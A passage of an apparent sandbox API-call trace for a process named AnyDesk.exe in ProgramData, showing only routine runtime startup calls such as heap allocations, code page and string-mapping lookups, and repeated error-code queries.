lpStartupInfo=0x131e65c*(cb=0x44, lpReserved="", lpDesktop="", lpTitle="C:\\ProgramData\\AnyDesk\\AnyDesk.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x1, hStdOutput=0x1e5000, hStdError=0x561)) [0282.909] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x800) returned 0x1930f60 [0282.909] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0282.909] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0282.909] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0282.909] SetHandleCount (uNumber=0x20) returned 0x20 [0282.909] GetLastError () returned 0x7a [0282.909] SetLastError (dwErrCode=0x7a) [0282.910] GetLastError () returned 0x7a [0282.910] SetLastError (dwErrCode=0x7a) [0282.910] GetLastError () returned 0x7a [0282.910] SetLastError (dwErrCode=0x7a) [0282.910] GetACP () returned 0x4e4 [0282.910] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x220) returned 0x1931768 [0282.910] GetLastError () returned 0x7a [0282.910] SetLastError (dwErrCode=0x7a) [0282.910] IsValidCodePage (CodePage=0x4e4) returned 1 [0282.910] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x131e624 | out: lpCPInfo=0x131e624) returned 1 [0282.910] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x131e0f0 | out: lpCPInfo=0x131e0f0) returned 1 [0282.910] GetLastError () returned 0x7a [0282.910] SetLastError (dwErrCode=0x7a) [0282.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x131e504, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0282.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x131e504, cbMultiByte=256, lpWideCharStr=0x131de68, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0282.910] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x131e104 | out: lpCharType=0x131e104) returned 1 [0282.910] GetLastError () returned 0x7a [0282.910] SetLastError (dwErrCode=0x7a) [0282.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x131e504, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0282.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x131e504, cbMultiByte=256, lpWideCharStr=0x131de38, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쌖內tĀ") returned 256 [0282.910] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쌖內tĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0282.910] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쌖內tĀ", cchSrc=256, lpDestStr=0x131dc28, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0282.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x131e404, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ«-kÖ<æ1\x01M~t", lpUsedDefaultChar=0x0) returned 256 [0282.910] GetLastError () returned 0x7a [0282.911] SetLastError (dwErrCode=0x7a) [0282.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x131e504, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0282.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x131e504, cbMultiByte=256, lpWideCharStr=0x131de58, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쌖內tĀ") returned 256 [0282.911] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쌖內tĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0282.911] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쌖內tĀ", cchSrc=256, lpDestStr=0x131dc48, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0282.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x131e304, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ«-kÖ<æ1\x01M~t", lpUsedDefaultChar=0x0) returned 256 [0282.911] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xd40138, nSize=0x104 | out: lpFilename="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe")) returned 0x22 [0282.911] GetLastError () returned 0x0 [0282.911] SetLastError (dwErrCode=0x0) [0282.911] GetLastError () returned 0x0 [0282.911] SetLastError (dwErrCode=0x0) [0282.911] GetLastError () returned 0x0 [0282.911] SetLastError (dwErrCode=0x0) [0282.911] GetLastError () returned 0x0 [0282.911] SetLastError (dwErrCode=0x0) [0282.911] GetLastError () returned 0x0 [0282.911] SetLastError (dwErrCode=0x0) [0282.911] GetLastError () returned 0x0 [0282.911] SetLastError (dwErrCode=0x0) [0282.911] GetLastError () returned 0x0 [0282.912] SetLastError (dwErrCode=0x0) [0282.912] GetLastError () returned 0x0 [0282.912] SetLastError (dwErrCode=0x0) [0282.912] GetLastError () returned 0x0 [0282.912] SetLastError (dwErrCode=0x0) [0282.912] GetLastError () returned 0x0 [0282.912] SetLastError (dwErrCode=0x0) [0282.912] GetLastError () returned 0x0 [0282.912] SetLastError (dwErrCode=0x0) [0282.912] GetLastError () returned 0x0 [0282.912] SetLastError (dwErrCode=0x0) [0282.912] GetLastError () returned 0x0 [0282.912] SetLastError (dwErrCode=0x0) [0282.912] GetLastError () returned 0x0 [0282.912] SetLastError (dwErrCode=0x0) [0282.912] GetLastError () returned 0x0 [0282.912] SetLastError (dwErrCode=0x0) [0282.912] GetLastError () returned 0x0 [0282.912] SetLastError (dwErrCode=0x0) [0282.912] GetLastError () returned 0x0 [0282.912] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.913] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.913] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.913] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.913] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.913] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.913] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.913] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.913] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.913] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.913] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.913] SetLastError (dwErrCode=0x0) [0282.913] GetLastError () returned 0x0 [0282.914] SetLastError (dwErrCode=0x0) [0282.914] GetLastError () returned 0x0 [0282.914] SetLastError (dwErrCode=0x0) [0282.914] GetLastError () returned 0x0 [0282.914] SetLastError (dwErrCode=0x0) [0282.914] GetLastError () returned 0x0 [0282.914] SetLastError (dwErrCode=0x0) [0282.914] GetLastError () returned 0x0 [0282.914] SetLastError (dwErrCode=0x0) [0282.914] GetLastError () returned 0x0 [0282.914] SetLastError (dwErrCode=0x0) [0282.914] GetLastError () returned 0x0 [0282.914] SetLastError (dwErrCode=0x0) [0282.914] GetLastError () returned 0x0 [0282.914] SetLastError (dwErrCode=0x0) [0282.914] GetLastError () returned 0x0 [0282.914] SetLastError (dwErrCode=0x0) [0282.914] GetLastError () returned 0x0 [0282.914] SetLastError (dwErrCode=0x0) [0282.914] GetLastError () returned 0x0 [0282.914] SetLastError (dwErrCode=0x0) [0282.914] GetLastError () returned 0x0 [0282.915] SetLastError (dwErrCode=0x0) [0282.915] GetLastError () returned 0x0 [0282.915] SetLastError (dwErrCode=0x0) [0282.915] GetLastError () returned 0x0 [0282.915] SetLastError (dwErrCode=0x0) [0282.915] GetLastError () returned 0x0 [0282.915] SetLastError (dwErrCode=0x0) [0282.915] GetLastError () returned 0x0 [0282.915] SetLastError (dwErrCode=0x0) [0282.915] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x39) returned 0x1931990 [0282.915] GetLastError () returned 0x0 [0282.915] SetLastError (dwErrCode=0x0) [0282.915] GetLastError () returned 0x0 [0282.915] SetLastError (dwErrCode=0x0) [0282.915] GetLastError () returned 0x0 [0282.915] SetLastError (dwErrCode=0x0) [0282.915] GetLastError () returned 0x0 [0282.915] SetLastError (dwErrCode=0x0) [0282.915] GetLastError () returned 0x0 [0282.915] SetLastError (dwErrCode=0x0) [0282.915] GetLastError () returned 0x0 [0282.915] SetLastError (dwErrCode=0x0) [0282.915] GetLastError () returned 0x0 [0282.916] SetLastError (dwErrCode=0x0) [0282.916] GetLastError () returned 0x0 [0282.916] SetLastError (dwErrCode=0x0) [0282.916] GetLastError () returned 0x0 [0282.916] SetLastError (dwErrCode=0x0) [0282.916] GetLastError () returned 0x0 [0282.916] SetLastError (dwErrCode=0x0) [0282.916] GetLastError () returned 0x0 [0282.916] SetLastError (dwErrCode=0x0) [0282.916] GetLastError () returned 0x0 [0282.916] SetLastError (dwErrCode=0x0) [0282.916] GetLastError () returned 0x0 [0282.916] SetLastError (dwErrCode=0x0) [0282.916] GetLastError () returned 0x0 [0282.916] SetLastError (dwErrCode=0x0) [0282.916] GetLastError () returned 0x0 [0282.916] SetLastError (dwErrCode=0x0) [0282.916] GetLastError () returned 0x0 [0282.916] SetLastError (dwErrCode=0x0) [0282.916] GetLastError () returned 0x0 [0282.916] SetLastError (dwErrCode=0x0) [0282.916] GetLastError () returned 0x0 [0282.917] SetLastError (dwErrCode=0x0) [0282.917] GetLastError () returned 0x0 [0282.917] SetLastError (dwErrCode=0x0) [0282.917] GetLastError () returned 0x0 [0282.917] SetLastError (dwErrCode=0x0) [0282.917] GetLastError () returned 0x0 [0282.917] SetLastError (dwErrCode=0x0) [0282.917] GetLastError () returned 0x0 [0282.917] SetLastError (dwErrCode=0x0) [0282.917] GetLastError () returned 0x0 [0282.917] SetLastError (dwErrCode=0x0) [0282.917] GetLastError () returned 0x0 [0282.917] SetLastError (dwErrCode=0x0) [0282.917] GetLastError () returned 0x0 [0282.917] SetLastError (dwErrCode=0x0) [0282.917] GetLastError () returned 0x0 [0282.917] SetLastError (dwErrCode=0x0) [0282.917] GetLastError () returned 0x0 [0282.917] SetLastError (dwErrCode=0x0) [0282.917] GetLastError () returned 0x0 [0282.917] SetLastError (dwErrCode=0x0) [0282.917] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.918] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.918] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.918] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.918] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.918] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.918] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.918] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.918] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.918] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.918] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.918] GetLastError () returned 0x0 [0282.918] SetLastError (dwErrCode=0x0) [0282.919] GetLastError () returned 0x0 [0282.919] SetLastError (dwErrCode=0x0) [0282.919] GetLastError () returned 0x0 [0282.919] SetLastError (dwErrCode=0x0) [0282.919] GetLastError () returned 0x0 [0282.919] SetLastError (dwErrCode=0x0) [0282.919] GetLastError () returned 0x0 [0282.919] SetLastError (dwErrCode=0x0) [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x8c) returned 0x19319d8 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x1f) returned 0x1931a70 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x41) returned 0x1931a98 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x37) returned 0x1931ae8 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x3c) returned 0x1931b28 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x31) returned 0x1931b70 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x18) returned 0x1931bb0 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x24) returned 0x1931bd0 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x14) returned 0x1931c00 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x44) returned 0x1931c20 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x17) returned 0x1931c70 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xe) returned 0x1931c90 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x96) returned 0x1931ca8 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x3e) returned 0x1931d48 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x1b) returned 0x1931d90 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x1d) returned 0x1931db8 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x48) returned 0x1931de0 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x12) returned 0x1931e30 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x18) returned 0x1931e50 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x1b) returned 0x1931e70 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x24) returned 0x1931e98 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x29) returned 0x1931ec8 [0282.919] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x1e) returned 0x1931f00 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x6b) returned 0x1931f28 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x17) returned 0x1931fa0 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0xf) returned 0x1931fc0 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x16) returned 0x1931fd8 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x15) returned 0x1931ff8 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x14) returned 0x1932018 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x15) returned 0x1932038 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, Size=0x15) returned 0x1932058 [0282.920] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x8, 